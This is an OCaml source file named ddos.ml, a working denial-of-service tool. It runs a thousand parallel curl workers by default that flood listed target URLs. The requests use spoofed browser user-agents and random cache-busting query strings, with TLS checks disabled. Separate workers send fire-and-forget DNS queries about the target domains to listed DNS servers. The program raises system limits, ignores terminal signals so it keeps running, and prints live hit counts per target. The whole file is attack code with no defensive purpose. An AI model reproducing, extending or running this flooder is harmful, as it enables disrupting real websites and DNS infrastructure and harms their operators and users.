ddos.ml

   1 open Printf
   2
   3 include Targets
   4
   5 let target_domains = targets |> Array.map (fun url ->
   6   match Devkit.Stre.nsplitc url '/' with
   7   | domain::[] -> domain
   8   | _scheme::""::domain::_ -> domain
   9   | _ -> failwith @@ sprintf "bad target %S" url)
  10
  11 let agents =
  12   [|
  13   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36";
  14   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36";
  15   "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0";
  16   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36";
  17   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36";
  18   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36";
  19   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
  20   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15";
  21   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15";
  22   "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0";
  23   |]
  24
  25 type t = {
  26   ok : int;
  27   errors : int;
  28 }
  29
  30 let random a = a.(Random.int (Array.length a))
  31
  32 let setup h =
  33   let open Curl in
  34   set_useragent h (random agents);
  35   set_nosignal h true;
  36   set_dnscachetimeout h 120;
  37   set_connecttimeoutms h 3000;
  38   set_timeoutms h 3000;
  39   set_followlocation h true;
  40   set_sslverifypeer h false;  (* ssl check must be turned off when using http_proxy, to permit https page caching*)
  41   set_sslverifyhost h SSLVERIFYHOST_NONE;
  42   set_cainfo h "/dev/null";
  43 (*   set_sslcipherlist h "DEFAULT@SECLEVEL=1"; *)
  44 (*   set_maxredirs h 1; *)
  45   set_ipresolve h IPRESOLVE_V4;
  46   set_encoding h CURL_ENCODING_ANY;
  47 (*   set_freshconnect h true; (* more connections *) *)
  48 (*   set_forbidreuse h true; *)
  49   set_protocols h [CURLPROTO_HTTP; CURLPROTO_HTTPS;];
  50   set_redirprotocols h [CURLPROTO_HTTP; CURLPROTO_HTTPS;];
  51 (*   set_maxrecvspeedlarge h (Int64.of_int (kBps*1024)); *)
  52   ()
  53
  54 let () = Printexc.register_printer (function Curl.CurlException (code,n,s) -> Some (sprintf "%d %s %s" n s (Curl.strerror code)) | _ -> None)
  55
  56 let main ~par =
  57   Random.self_init ();
  58   Devkit.Nix.raise_limits ();
  59   let stat = Hashtbl.create 10 in
  60   let dns_stat = Hashtbl.create 10 in
  61   targets |> Array.iter (fun s -> Hashtbl.add stat s { ok = 0; errors = 0 });
  62   dns_targets |> List.iter (fun s -> Hashtbl.add dns_stat s 0);
  63   let worker h =
  64     while%lwt true do
  65       let url = random targets in
  66       let open Curl in
  67       reset h;
  68       setup h;
  69       set_url h (if Random.int 3 = 0 then url else sprintf "%s?%d" url (Random.int 2000));
  70       set_writefunction h String.length;
  71       try%lwt
  72         let%lwt r = Curl_lwt.perform h in
  73         if r <> CURLE_OK then failwith @@ sprintf "curl error %s" (Curl.strerror r);
  74         Hashtbl.replace stat url
  75           (let t = Hashtbl.find stat url in
  76            { t with ok = t.ok + 1 }
  77           );
  78         Lwt.return_unit
  79       with _exn ->
  80 (*         print_endline @@ sprintf "FAILED: %s : %s" (Curl.get_effectiveurl h) (Printexc.to_string exn); *)
  81         Hashtbl.replace stat url
  82           (let t = Hashtbl.find stat url in
  83            { t with errors = t.errors + 1 }
  84           );
  85         Lwt.return_unit
  86     done
  87   in
  88   let qtypes = Dns.[| A ; NS ; CNAME ; SOA ; MX ; TXT ; AAAA ; A6 ; PTR |] in
  89   let dns_worker upstreams =
  90     while%lwt true do
  91       let (upstream,ns) = random upstreams in
  92       Hashtbl.replace dns_stat upstream (Hashtbl.find dns_stat upstream + 1);
  93       let domain = random target_domains in
  94       let qtype = random qtypes in
  95       let%lwt () = Dnsq.send_query_forget ns ~qtype domain in
  96       Lwt_unix.sleep @@ 0.5 +. Random.float 1.
  97     done
  98   in
  99   let show_stats () =
 100     while%lwt true do
 101       let%lwt () = Lwt_unix.sleep 1. in
 102       print_endline "dns";
 103       dns_targets |> List.iter (fun s -> print_endline @@ sprintf "%32s %10d" s (Hashtbl.find dns_stat s));
 104       print_endline @@ sprintf "%40s %6s %6s %40s %6s %6s %40s %6s %6s" "url" "ok" "errors" "url" "ok" "errors" "url" "ok" "errors";
 105       targets |> Array.iteri (fun i url ->
 106         let { ok; errors } = Hashtbl.find stat url in
 107         printf "%40s %6d %6d" url ok errors;
 108         if i mod 3 = 2 then print_newline ()
 109       );
 110       print_newline ();
 111       Lwt.return_unit
 112     done
 113   in
 114   Lwt_engine.set (new Lwt_engine.libev ());
 115   List.iter (fun n -> Sys.set_signal n Sys.Signal_ignore) [Sys.sigtstp; Sys.sigttou; Sys.sigttin; Sys.sighup; Sys.sigpipe];
 116   let (_:int list) = Unix.sigprocmask SIG_BLOCK [Sys.sigtstp; Sys.sigttou; Sys.sigttin; Sys.sighup; Sys.sigpipe] in
 117   Lwt_main.run @@ begin
 118     let workers = List.init par (fun _ -> Curl.init ()) |> List.map worker in
 119     let%lwt dns_upstreams = dns_targets |> Lwt_list.map_s (fun s ->
 120       let (host,port) =
 121         match Devkit.Stre.nsplitc s ':' with
 122         | [host;port] -> host, int_of_string port
 123         | [s] -> s, 53
 124         | _ -> failwith @@ sprintf "bad dns %s" s
 125       in
 126       let%lwt ns = Dnsq.upstream ~timeout:2. ~port host in
 127       Lwt.return (s,ns)
 128     ) |> Lwt.map Array.of_list in
 129     let dns_workers = List.init par (fun _ -> dns_worker dns_upstreams) in
 130     Lwt.join (show_stats () :: workers @ dns_workers)
 131   end;
 132   print_endline "exit"
 133
 134 let () =
 135   try
 136     let par =
 137       match Devkit.Nix.args with
 138       | [n] -> int_of_string n
 139       | _ -> 1000
 140     in
 141     main ~par
 142   with exn ->
 143     print_endline @@ sprintf "fatal exn %s : %s" (Printexc.to_string exn) (Printexc.get_backtrace ());